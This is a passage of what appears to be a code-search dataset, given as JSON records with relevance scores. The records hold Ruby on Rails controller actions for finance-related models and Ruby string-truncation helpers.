{ render json: @fundraiser }\n end\n end", "title": "" }, { "docid": "0be002f370fe9217e9aa92b5e8625c15", "score": "0.64087415", "text": "def index\n @fretes = Frete.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fretes }\n end\n end", "title": "" }, { "docid": "7493753e5fd9a61690b0a3b2ac8e29fb", "score": "0.62414086", "text": "def index\n @funds = Fund.all\n \t\n end", "title": "" }, { "docid": "2b6181fe9410cc9f97b826d8338b1935", "score": "0.62400854", "text": "def show\n\t @funds = Fund.all\n end", "title": "" }, { "docid": "6167ddbbd55c13e24d3d1e4c4ec3ae4d", "score": "0.6221785", "text": "def show\n @title = t('view.trust_funds.show_title')\n @trust_fund = TrustFund.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trust_fund }\n end\n end", "title": "" }, { "docid": "b566506873a901e9534c4409ddd86902", "score": "0.6177184", "text": "def show\n @farmer = Farmer.find(params[:id])\n\t\t@dispensals = @farmer.dispensals.all.paginate(:page => params[:page], :order => 'updated_at DESC', :per_page => 5)\n\t\t@donations = @farmer.donations.all.paginate(:page => params[:page], :order => 'updated_at DESC', :per_page => 5)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @farmer }\n end\n end", "title": "" }, { "docid": "6c9ab7e1e0bc85fef5d89b69a9f008ba", "score": "0.6121074", "text": "def index\n\n @debtors = Debtor.all\n\n render json: @debtors\n end", "title": "" }, { "docid": "53a9d68c0a6e28521eaadb3be1cb66e2", "score": "0.611708", "text": "def index\n @budgets = Budget.find_owned_by current_user\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budgets }\n end\n end", "title": "" }, { "docid": "e1e88f42b4e86041d8f435cfe4b7641d", "score": "0.6070433", "text": "def show\n @json = Punk::API.one_beer!(params[:id])\n render json: {\n beer: @json\n }\n create(@json)\n end", "title": "" }, { "docid": "b359ff21da38d2b496d8de57a18bb9d5", "score": "0.6060247", "text": "def show\n @frete = Frete.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @frete }\n end\n end", "title": "" }, { "docid": "cd63cae536231ed4f9ddbab3871dbfe2", "score": "0.60589826", "text": "def show\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n # format.json { render json: @budget }\n end\n end", "title": "" }, { "docid": "8a61506a83b6331df4109f2d1ad1c7ba", "score": "0.60183984", "text": "def show\n @financial = Financial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @financial }\n end\n end", "title": "" }, { "docid": "eba8ef9faaaaae9174fd59bb962ff607", "score": "0.60087705", "text": "def show\n @refund = Refund.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @refund }\n end\n end", "title": "" }, { "docid": "eba8ef9faaaaae9174fd59bb962ff607", "score": "0.60087705", "text": "def show\n @refund = Refund.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @refund }\n end\n end", "title": "" }, { "docid": "bb2104e4a8c7533aae9f72b5563ca15e", "score": "0.6005463", "text": "def destroy\n @fundraiser = Fundraiser.find(params[:id])\n @fundraiser.destroy\n\n respond_to do |format|\n format.html { redirect_to fundraisers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cda03cc31dd3a80a1f2de42a9a8fcab9", "score": "0.600328", "text": "def index\n\t @fares = Fare.all\n\n\t respond_to do |format|\n\t\tformat.html # index.html.erb\n\t\tformat.json { render json: @fares }\n\t end\n\tend", "title": "" }, { "docid": "1d8b423d8e3f8db3cd82648de2465ab2", "score": "0.60008", "text": "def show\n @unpaid_debt = UnpaidDebt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unpaid_debt }\n end\n end", "title": "" }, { "docid": "4c7f84680d87de9ae42713f1a29b5507", "score": "0.5996392", "text": "def index\n @userfunds = Userfund.all\n end", "title": "" }, { "docid": "d51571d32ef1a03ad70dcfe192551676", "score": "0.5979644", "text": "def index\n @frais_hebergements = FraisHebergement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @frais_hebergements }\n end\n end", "title": "" }, { "docid": "9bcc0c2926e69d43bf9d2f21c6b1b9b9", "score": "0.59604675", "text": "def show\n @total_money = @raffle.transactions.map(&:amount).reduce(:+)\n @raffle = Raffle.find(params[:id])\n respond_to do |format|\n format.html\n format.json do\n @raffle = Raffle.select_data(Raffle.where(id: params[:id])).first\n render json: @raffle\n end\n end\n end", "title": "" }, { "docid": "fe8205ffcbee744b08b0a9988a805453", "score": "0.5952553", "text": "def new\n @fund = Fund.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_fund }\n end\n end", "title": "" }, { "docid": "f39e0c9cc796d9e66c382d84ec69297a", "score": "0.594031", "text": "def index\n @flights = Flight.all\n render json: @flights\n end", "title": "" }, { "docid": "b7fbcdc7f3ff76d41d411fc6693ece08", "score": "0.5936949", "text": "def show\n @forest = Forest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @forest }\n end\n end", "title": "" }, { "docid": "9ec843055c82cf6842259a4a8d626080", "score": "0.5936621", "text": "def flights\n trip = Trip.where('id = ?', params[:id]).take\n if !trip.nil\n respond_with( trip.flights )\n else\n render :json => { error: 404 }, :status => 404\n end\n end", "title": "" }, { "docid": "6117b91b2a7f8e9f30a5ff887ca9e829", "score": "0.5929582", "text": "def show\n @fabric = Fabric.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fabric }\n end\n end", "title": "" }, { "docid": "0de35831f7d677c5b200daa818ca23f9", "score": "0.59188956", "text": "def consulta\n fiesta = Fiesta.all\n render json: fiesta\n end", "title": "" }, { "docid": "0be85ef9235e1f8a5f7d606d22ffda51", "score": "0.5898627", "text": "def show\n #@klass_fee = KlassFee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @klass_fee }\n end\n end", "title": "" }, { "docid": "5cf3d6167009c791a480a8bbb5f5349b", "score": "0.589333", "text": "def show\n @familium = Familium.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @familium }\n end\n end", "title": "" }, { "docid": "f4ccc57eacafde3fe5ee9a74e61ce69e", "score": "0.58916694", "text": "def show\n @fortune = Fortune.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fortune }\n end\n end", "title": "" }, { "docid": "250c0555877de8f4eee5dfb4a3d89276", "score": "0.58859897", "text": "def index\n @refund_requests = RefundRequest.order 'created_at DESC'\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @refund_requests }\n end\n end", "title": "" }, { "docid": "c0ccfa0ed99ab98622ba816213d31100", "score": "0.5885963", "text": "def postal_beers\n render json: BreweryDb::ShowBeers.new('postal', params[:postal]).results\n end", "title": "" }, { "docid": "c04f23e1de2a97e66552c3387a01410a", "score": "0.58847636", "text": "def index\n head 404\n # @api_v1_followers = Api::V1::Follower.all\n\n # render json: @api_v1_followers\n end", "title": "" }, { "docid": "614e7229d903dca2d68de898fa40af07", "score": "0.58806187", "text": "def show\n @finance = Finance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @finance }\n end\n end", "title": "" }, { "docid": "3dc1a030f843d0003652e899ef44ac95", "score": "0.58702177", "text": "def show\n begin\n @fucker = Fucker.find(params[:id])\n respond_to do |format|\n format.json { render json: @fucker }\n end\n rescue => err\n $log.warn(err)\n respond_to do |format|\n format.json { render json: err, status: :internal_server_error }\n end\n end\n end", "title": "" }, { "docid": "de7e6ff6707d49ff9523c6b4098c5b81", "score": "0.5865699", "text": "def show\n @frais_hebergement = FraisHebergement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @frais_hebergement }\n end\n end", "title": "" }, { "docid": "be294d8a1f6f22c3d820424b4f04d66f", "score": "0.5864444", "text": "def index\n @financial_aid_packages = @participant.financial_aid_packages\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @financial_aid_packages }\n end\n end", "title": "" }, { "docid": "b87339923e414e039e7cef231c4f639a", "score": "0.58569354", "text": "def show\n @fundamentals_history = @company.fundamentals_histories.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fundamentals_history }\n end\n end", "title": "" }, { "docid": "591429ee1b61441c8c5ce2c2299be53c", "score": "0.5849587", "text": "def show\n @firm = Firm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @firm }\n end\n end", "title": "" }, { "docid": "9628cbd7217e4f94a674bfe1014d714d", "score": "0.58495533", "text": "def show\n render json: Agent.find(params[:id]).buyers\n end", "title": "" }, { "docid": "3830b81fe5a9779d4da12a30cda22c9d", "score": "0.5848907", "text": "def show\n @beer = BreweryDB.beer(params[:id]) \n render json: @beer\n end", "title": "" }, { "docid": "a5407f8a25437c7a082b927e14222ccb", "score": "0.5848184", "text": "def show\n @bruschettum = Bruschettum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bruschettum }\n end\n end", "title": "" }, { "docid": "160affebf053f1f1b7cfce25053a3eee", "score": "0.58472097", "text": "def show\n @prayers = Prayer.all\n @prayer = Prayer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prayer }\n end\n end", "title": "" }, { "docid": "e076ea7ed04f89a960ba0cadd330c7ca", "score": "0.58265436", "text": "def show\n @refund_request = RefundRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @refund_request }\n end\n end", "title": "" }, { "docid": "aad0a9d8accc48333d446cc39f035522", "score": "0.58244777", "text": "def show\n @debt = Debt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @debt }\n end\n end", "title": "" }, { "docid": "ba86d29a9fe89e6f9e4a56eb72e8f33f", "score": "0.58213174", "text": "def index_funds\n Bsf::Scraper::FundIndexer.new.index\n end", "title": "" }, { "docid": "73da3dd569cc136886cf1a6648aca9be", "score": "0.58159685", "text": "def show\n @debt = Debt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @debt }\n end\n end", "title": "" }, { "docid": "69f5957fb99bc7cf9604b6c6c84c0028", "score": "0.5803202", "text": "def index\n @financers = Financer.all\n end", "title": "" }, { "docid": "05853004ced06cc83444a6bfe61e6234", "score": "0.58006513", "text": "def show\n @ledger_entry = LedgerEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @ledger_entry }\n end\n end", "title": "" }, { "docid": "4044f5a966cb2048fe48fc3d71205492", "score": "0.5797269", "text": "def show\n add_breadcrumb I18n.t('helpers.breadcrumbs.budgets.show')\n @budget_details = BudgetDetail.all\n\n @budget = Budget.find(params[:id])\n respond_to do |format|\n format.html\n format.pdf do\n pdf = BudgetPdf.new(@budget, view_context)\n send_data pdf.render,\n filename: \"budget_#{@budget.id}.pdf\",\n type: 'application/pdf',\n disposition: 'inline'\n end\n format.json {render json: @budget, include: :budget_details}\n end\n end", "title": "" }, { "docid": "32b359c1e88a70d212eeb598b69121be", "score": "0.57918954", "text": "def show\n @flight = Flight.find(params[:id])\n render json: @flight\n end", "title": "" }, { "docid": "91c945e6cb8064e57fb81c1c1f6ad6b4", "score": "0.578845", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @financials }\n end\n end", "title": "" }, { "docid": "a9c220342acf91b2c8dab8c07e824093", "score": "0.578599", "text": "def show\n @kf_diary = Kf::Diary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kf_diary }\n end\n end", "title": "" }, { "docid": "cd6358c6e9fb8133770ea6ed8eb12514", "score": "0.5784572", "text": "def index\n @prayers = Prayer.all\n render json: @prayers, status: 200 # you've got a serializer. Maybe you should use it.\n end", "title": "" }, { "docid": "b11313d379e74fc7c40c61fe84f5a203", "score": "0.5776139", "text": "def show\n load_budget\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @budget }\n end\n end", "title": "" }, { "docid": "6f78aa6c9f3c5b2a690359249449a109", "score": "0.5775797", "text": "def show\n @frais_repa = FraisRepa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @frais_repa }\n end\n end", "title": "" }, { "docid": "6f688b4fdad7dd2096761817f440acac", "score": "0.577439", "text": "def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @refunds }\n end\n end", "title": "" }, { "docid": "583be5450b5d5f71ccb72e4c020bee87", "score": "0.5772781", "text": "def show\n @repairer = Repairer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repairer }\n end\n end", "title": "" }, { "docid": "1c6f679917c43d61d90ffb6af70959ca", "score": "0.5772593", "text": "def show\n @financial_aid_package = @participant.financial_aid_packages.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @financial_aid_package.to_json(methods: [:breakdown]) }\n end\n end", "title": "" }, { "docid": "1eea555a8392c70467daad0ab9aa85c4", "score": "0.57673043", "text": "def index\n\t\t@flights = Flight.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @flights }\n\t\tend\n\tend", "title": "" }, { "docid": "6db223dd7d650cb48f45ec33ebb3be90", "score": "0.5765098", "text": "def show\n @revenue = Revenue.find(params[:id])\n\n render json: @revenue\n end", "title": "" }, { "docid": "95cbfe8826792d9385247991e2d0f005", "score": "0.57610065", "text": "def show\n @funding_status_option = FundingStatusOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @funding_status_option }\n end\n end", "title": "" }, { "docid": "5a6d7777eab03eed25371a63444cd47b", "score": "0.5759594", "text": "def show\n @prayer = Prayer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prayer }\n end\n end", "title": "" }, { "docid": "71a6d11712221b186dae659947830e64", "score": "0.5753802", "text": "def index\n @familia = Familium.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @familia }\n end\n end", "title": "" }, { "docid": "d9ee8a98580ce8a67cfa9f05e6aef991", "score": "0.57517934", "text": "def show\n @financial_donation = FinancialDonation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @financial_donation }\n end\n end", "title": "" }, { "docid": "fc89c1a50c8f62e4c85b4d41fc6ad8a8", "score": "0.57497764", "text": "def show\n @derpu = Derpu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @derpu }\n end\n end", "title": "" }, { "docid": "74c9d7ff3eae721c8aca72c25449e96d", "score": "0.57434577", "text": "def index\n @frais_repas = FraisRepa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @frais_repas }\n end\n end", "title": "" }, { "docid": "22f86e24c5c18920704e2f27a33891c6", "score": "0.57388145", "text": "def set_fundraiser\n @fundraiser = Fundraiser.find(params[:id])\n end", "title": "" }, { "docid": "70a9d23791650ff194a3a0908241fec0", "score": "0.57348007", "text": "def index\n @denuncia = Denuncium.all\n\n render json: @denuncia\n end", "title": "" }, { "docid": "795b9de04eee9a27f9a8266b035c4bf1", "score": "0.57302165", "text": "def show\n @frais_annex = FraisAnnex.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @frais_annex }\n end\n end", "title": "" }, { "docid": "ffc2584197658e0d79795b0b91dc341a", "score": "0.5729243", "text": "def show\n @tier = Tier.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tier }\n end\n end", "title": "" }, { "docid": "0a1d0ac4d25875d8fc731c4a715fc360", "score": "0.57212967", "text": "def index\n @spoofers = Spoofer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spoofers }\n end\n end", "title": "" }, { "docid": "8f19c363d7f04f60cca38252610cba6a", "score": "0.5717109", "text": "def show\n\n add_breadcrumb @funding_source.name, funding_source_path(@funding_source)\n\n # Set the funding line items\n @grants = @funding_source.grants.where('organization_id = ?', @organization.id).order('fy_year')\n\n # get the @prev_record_path and @next_record_path view vars\n get_next_and_prev_object_keys(@funding_source, INDEX_KEY_LIST_VAR)\n @prev_record_path = @prev_record_key.nil? ? \"#\" : funding_source_path(@prev_record_key)\n @next_record_path = @next_record_key.nil? ? \"#\" : funding_source_path(@next_record_key)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @funding_source }\n end\n\n end", "title": "" }, { "docid": "bb1b6b5f644c2c06fe6767a7c63212fa", "score": "0.5716144", "text": "def get_financials\n render json: [current_user]\n end", "title": "" }, { "docid": "e41530510645b300f61ee53dc399c825", "score": "0.57152355", "text": "def index\n @flaws = Flaw.order(\"date DESC, created_at DESC\").page( params[:page] ).per(10)\n \n @flaw = Flaw.new\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @flaws }\n end\n end", "title": "" }, { "docid": "76fae392847ff2f1aa59ca2adfb00071", "score": "0.5707326", "text": "def index\n @filials = Filial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @filials }\n end\n end", "title": "" }, { "docid": "e157caa55aae98ebd6e668a5db54ac16", "score": "0.5703274", "text": "def index\n @foodhampers = Foodhamper.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @foodhampers }\n end\n end", "title": "" }, { "docid": "37c13907fe0f472771fed86d0524d70b", "score": "0.5702734", "text": "def show\n @begivenhed = Begivenhed.find(params[:id])\n @bruger = Bruger.find_by_id(current_user.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @begivenhed }\n end\n end", "title": "" }, { "docid": "2023e29e1c884a2aaa46c0ac51eae8b6", "score": "0.5701947", "text": "def show\n @rum = Rum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rum }\n end\n end", "title": "" }, { "docid": "0cfa1c0ec46d62d5039acc0d1f5bc491", "score": "0.56949615", "text": "def show\n @fundamental_retention_mail = Fundamental::RetentionMail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fundamental_retention_mail }\n end\n end", "title": "" }, { "docid": "b1900b915b3ebb823bc265bc3c7a60d4", "score": "0.5691061", "text": "def show\n @consultum = Consultum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @consultum }\n end\n end", "title": "" }, { "docid": "59962d1cd11054600b1dd0ced334c68f", "score": "0.568556", "text": "def index\n @frais_annexes = FraisAnnex.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @frais_annexes }\n end\n end", "title": "" }, { "docid": "5b2cb5adec5fe17dadd063ec02fbab7a", "score": "0.5682831", "text": "def index\n @banks = Bank.all\n render json: @banks\n end", "title": "" }, { "docid": "3a6c0470206410a4de6fcc4eeecbe3a0", "score": "0.568208", "text": "def show\n @distraction = Distraction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @distraction }\n end\n end", "title": "" }, { "docid": "4dc2583e304c7209a2539a5dc6204bc7", "score": "0.56817496", "text": "def index\n @dossiers = Dossier.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dossiers }\n end\n end", "title": "" }, { "docid": "00a226c4fd18011541ec66f182878c71", "score": "0.56761223", "text": "def show\n render \"api/v1/bounties/show\"\n end", "title": "" }, { "docid": "e5adb0a8d4baae4e86cc55d1ea90fc2d", "score": "0.567499", "text": "def show\n @flight = Flight.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @flight }\n end\n end", "title": "" }, { "docid": "a2f6078b717fee4dbd8796306d82ecd1", "score": "0.56744945", "text": "def index\n @items = Item.all\n @budget = Budget.find params[:budget_id]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "title": "" }, { "docid": "e5adb0a8d4baae4e86cc55d1ea90fc2d", "score": "0.5674272", "text": "def show\n @flight = Flight.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @flight }\n end\n end", "title": "" }, { "docid": "22151ccc95c2e0aa97509e463ac351b3", "score": "0.56710935", "text": "def index\n @fundamentals_histories = @company.fundamentals_histories.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fundamentals_histories }\n end\n end", "title": "" }, { "docid": "7311b82f481d443edb06cabfff2ad3cd", "score": "0.5670923", "text": "def index\n @wallet_id = params[:wallet_id]\n @investment_funds = InvestmentFund.where(\"wallet_id = ?\", @wallet_id)\n end", "title": "" }, { "docid": "716d43b3f16242c0b01fe9591bfd8d68", "score": "0.5670217", "text": "def show\n @budgeting_type = BudgetingType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @budgeting_type }\n end\n end", "title": "" }, { "docid": "fd9096825c955e0e9d207bdec528ef7e", "score": "0.5668408", "text": "def show\n @bank = Bank.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bank }\n end\n end", "title": "" }, { "docid": "a98b1eeaa53504b1fd7a7ee8f48bc92d", "score": "0.56653684", "text": "def show\n @payments = Payment.for_fundraiser(@fundraiser.id).chronological.all\n end", "title": "" }, { "docid": "48dce95b67df2b651d466bbe0a1dd349", "score": "0.5664842", "text": "def index\n @departamentos = Departamento.all\n\n render json: @departamentos\n end", "title": "" } ]
c4d53c76bb409fdfc215571a3ece1421
Trim length of the tail string segment. Default is the word length
[ { "docid": "ee872d91ab46b78d849fd0395d9c0954", "score": "0.750516", "text": "def trim \n @trim ||= length\n end", "title": "" } ]
[ { "docid": "0f98a38fa474c97f024b7984837928f4", "score": "0.7306448", "text": "def sa_truncate(length, after_a_word = false)\n str = self[0...length] \n \n if after_a_word == true\n words = str.split(/\\s+/)\n str = words[0..words.length - 2].join(' ')\n end\n\n str\n end", "title": "" }, { "docid": "8b815a2cf8b215d52bef2fa8ffbc44f2", "score": "0.69999737", "text": "def truncated\n string.slice(0, width)\n end", "title": "" }, { "docid": "caa0693589f6e26a740fddccb680da76", "score": "0.69801235", "text": "def truncend(len, ellipsis: '...')\n return self if length <= len\n\n total = 0\n res = []\n\n split(/ /).reverse.each do |word|\n break if total + 1 + word.length > len\n\n total += 1 + word.length\n res.unshift(word)\n end\n ellipsis + res.join(' ')\n end", "title": "" }, { "docid": "7aba57506963c3fe3f5f97c6fe53d0aa", "score": "0.69623053", "text": "def truncate (str, length)\n\t\tend", "title": "" }, { "docid": "b92dc8f819a7f07d8d230ba61458b1ba", "score": "0.6880216", "text": "def truncate\n value.chomp.slice(0...(width - 4))\n end", "title": "" }, { "docid": "d95bacd9f6cdd185f4890923bd953cbe", "score": "0.6773042", "text": "def truncate_at_word_for_charcount(len)\n return self if self.size <= len\n split = rindex(' ', len)\n split = len if split.nil?\n return self[0,split]\n end", "title": "" }, { "docid": "f7e7cac63e2c4eabd0023c7048f01e3f", "score": "0.6732418", "text": "def trim string\n string && string[0...right]\n end", "title": "" }, { "docid": "52f541084219e7da0e6c95bc5800777e", "score": "0.66848356", "text": "def trim_trailing_whitespace; end", "title": "" }, { "docid": "c170fd90bf905bfb7af906d695644f59", "score": "0.6674784", "text": "def trunc(len)\n split(/ /).each_with_object([]) do |x, ob|\n break ob unless ob.join(' ').length + ' '.length + x.length <= len\n\n ob.push(x)\n end.join(' ').strip\n end", "title": "" }, { "docid": "2b2876a374404bbf98f2e432ffcaba51", "score": "0.6607608", "text": "def restStrlen(len)\n if(atom?()) then\n return len - strlen() ;\n else ## cons case\n l = len\n s = self ;\n while(s.cons?())\n l = s.car().restStrlen(l-1) ; ## -1 is first paren or space\n return l if (l < 0) ;\n\n if(s.cdr().nil?())\n l -= 1 ; ## last paren\n elsif(s.cdr().atom?())\n l = s.cdr().restStrlen(l-4) ; ## dot, spaces, and last paren\n end\n s = s.cdr() ;\n end\n return l ;\n end\n end", "title": "" }, { "docid": "c35a4000abd1e0ededcefec94a380837", "score": "0.6584115", "text": "def trim(text,max=BLOCK_SIZE)\n original_length = text.length\n return text[original_length-max,max]\n end", "title": "" }, { "docid": "1abe2aa95620f6cbdb92a2ff6c17f1e6", "score": "0.6584101", "text": "def trim; end", "title": "" }, { "docid": "1abe2aa95620f6cbdb92a2ff6c17f1e6", "score": "0.6584101", "text": "def trim; end", "title": "" }, { "docid": "c8d3d6519ebf50433978d6c264cff120", "score": "0.652117", "text": "def trim(desired_length = nil)\n clone.trim!(desired_length)\n end", "title": "" }, { "docid": "44d727d9772f5aec4c0640de3596ec63", "score": "0.6511755", "text": "def trunc!(len)\n replace trunc(len)\n end", "title": "" }, { "docid": "febf0d953cfd804ba09c3e0276208c51", "score": "0.6419755", "text": "def ltrim!(length)\n if length > 0 && length < size\n models = range(length, -1)\n model.delete_multi(models)\n redis.ltrim(key, 0, length - 1)\n end\n end", "title": "" }, { "docid": "36f34070526d33813ff9caac1dfd0544", "score": "0.64162683", "text": "def truncate_to_whitespace(text, length = 100, truncate_string = \"...\")\n if text.nil? then return end\n text[0..text.index($/)] rescue text\n end", "title": "" }, { "docid": "be00302c93c0120c996a6253574ccdd2", "score": "0.64131254", "text": "def truncate_preserving_words(options={})\n end_string = options[:end_string] || \"...\"\n max_words = options[:max_words] || nil\n if max_words\n words = self.split()\n return self if words.size < max_words\n words = words[0..(max_words-1)]\n words << end_string\n words.join(\" \")\n else\n max_chars = options[:max_chars] || 60\n return self if self.size < max_chars\n out = self[0..(max_chars-1)].split(\" \")\n out.pop\n out << end_string\n out.join(\" \")\n end\n end", "title": "" }, { "docid": "be00302c93c0120c996a6253574ccdd2", "score": "0.64131254", "text": "def truncate_preserving_words(options={})\n end_string = options[:end_string] || \"...\"\n max_words = options[:max_words] || nil\n if max_words\n words = self.split()\n return self if words.size < max_words\n words = words[0..(max_words-1)]\n words << end_string\n words.join(\" \")\n else\n max_chars = options[:max_chars] || 60\n return self if self.size < max_chars\n out = self[0..(max_chars-1)].split(\" \")\n out.pop\n out << end_string\n out.join(\" \")\n end\n end", "title": "" }, { "docid": "5b49350828c03cc74a103d8da776d9ba", "score": "0.64131165", "text": "def trim(n); end", "title": "" }, { "docid": "41a5595869b9fe8a3c00e104a71f44eb", "score": "0.6333853", "text": "def truncate(length, suffix = '...')\n \n # determine result width\n result_width = length * DEFAULT_WIDTH\n \n # return self if string does not need to be truncated\n if self.width <= result_width\n return self \n end\n \n # determine truncated string\n result_width -= suffix.width\n truncated_string_width = 0\n truncated_string = ''\n self.each_char do |char|\n char_width = METRICS[char] || DEFAULT_WIDTH\n if truncated_string_width + char_width <= result_width\n truncated_string_width += char_width\n truncated_string << char\n else\n break\n end\n end\n \n # return truncated string\n return truncated_string + suffix\n \n end", "title": "" }, { "docid": "ff6dbdb6ebaefca4f634fd45c7cd65e8", "score": "0.6331752", "text": "def truncmiddle(len, ellipsis: '...')\n return self if length <= len\n len -= (ellipsis.length / 2).to_i\n half = (len / 2).to_i\n start = trunc(half, ellipsis: ellipsis)\n finish = truncend(half, ellipsis: '')\n start + finish\n end", "title": "" }, { "docid": "cdce6ca949ddb945f536345b563fe255", "score": "0.6302024", "text": "def truncate(string, len = 128)\n stripped = string.strip[0..len]\n if stripped.length > len\n stripped.gsub(/\\s+?(\\S+)?$/, \"\") + \"...\"\n else\n stripped\n end\n end", "title": "" }, { "docid": "fc4eeec7895690b5ad6284983390b91c", "score": "0.6275376", "text": "def truncate(text, length = 20, ending = \"...\")\n return \"\" if text.nil?\n \n text[0..length] + ending\n end", "title": "" }, { "docid": "285ed26afd58225a140d3f48ae6294dd", "score": "0.6265789", "text": "def tail\n @tail ||= self[-(trim), trim]\n end", "title": "" }, { "docid": "f10af62092776590efa9e50bc5790f05", "score": "0.6251208", "text": "def truncate_from_end(text)\n return text if text.blank? || text.size <= 20\n\n \"...#{text[-20, 20]}\"\n end", "title": "" }, { "docid": "2afc38e965a8308eaeb719f2dff45a3f", "score": "0.62353325", "text": "def trim(text)\n truncated = text.gsub(\"\\n\",\" \")[0..50]\n truncated + (truncated.size == text.size ? '' : '...')\n end", "title": "" }, { "docid": "416207e9817a113132f7995569c22492", "score": "0.62331736", "text": "def words_in_length buff, len\n return nil if len == 0\n str = buff[0..len]\n ix = str.rindex(/\\s/)\n $log.debug \" str #{str} len #{len} ix #{ix} , buff #{buff}~\"\n return nil if ix.nil?\n ix = ix > 0 ? ix - 1 : ix\n $log.debug \" str[]:#{str[0..ix]}~ len #{len} ix #{ix} , buff #{buff}~\"\n return str[0..ix]\n end", "title": "" }, { "docid": "1c296f0e85b2b9f6344baca169e4ca30", "score": "0.62106884", "text": "def truncate_words(text, length = 20, end_string = ' ...')\n if text.nil?\n return ''\n else\n words = text.split()\n return words[0..(length-1)].join(' ') + (words.length > length ? end_string : '')\n end\n end", "title": "" }, { "docid": "1c296f0e85b2b9f6344baca169e4ca30", "score": "0.62106884", "text": "def truncate_words(text, length = 20, end_string = ' ...')\n if text.nil?\n return ''\n else\n words = text.split()\n return words[0..(length-1)].join(' ') + (words.length > length ? end_string : '')\n end\n end", "title": "" }, { "docid": "10ad3432bae73a72c711d569dab06f2e", "score": "0.6208756", "text": "def truncate_at_word_for_wordcount(words)\n self.split(\" \")[0,words].join(\" \")\n end", "title": "" }, { "docid": "c796d28cd970beafee7205adfb0921f8", "score": "0.61983484", "text": "def truncate\n newstring = @string_to_truncate.slice!(0..@length_of_trunc_text)\n newstring = newstring + @alternate_trunc\n end", "title": "" }, { "docid": "c13dbcb62029a1cbd3835f6bb2a68ea0", "score": "0.6163736", "text": "def length_of_last_word(s)\r\n s.split.last&.size || 0\r\nend", "title": "" }, { "docid": "549c29c1205cb48f2da79de336821e55", "score": "0.61525285", "text": "def trim(str, size)\n return str 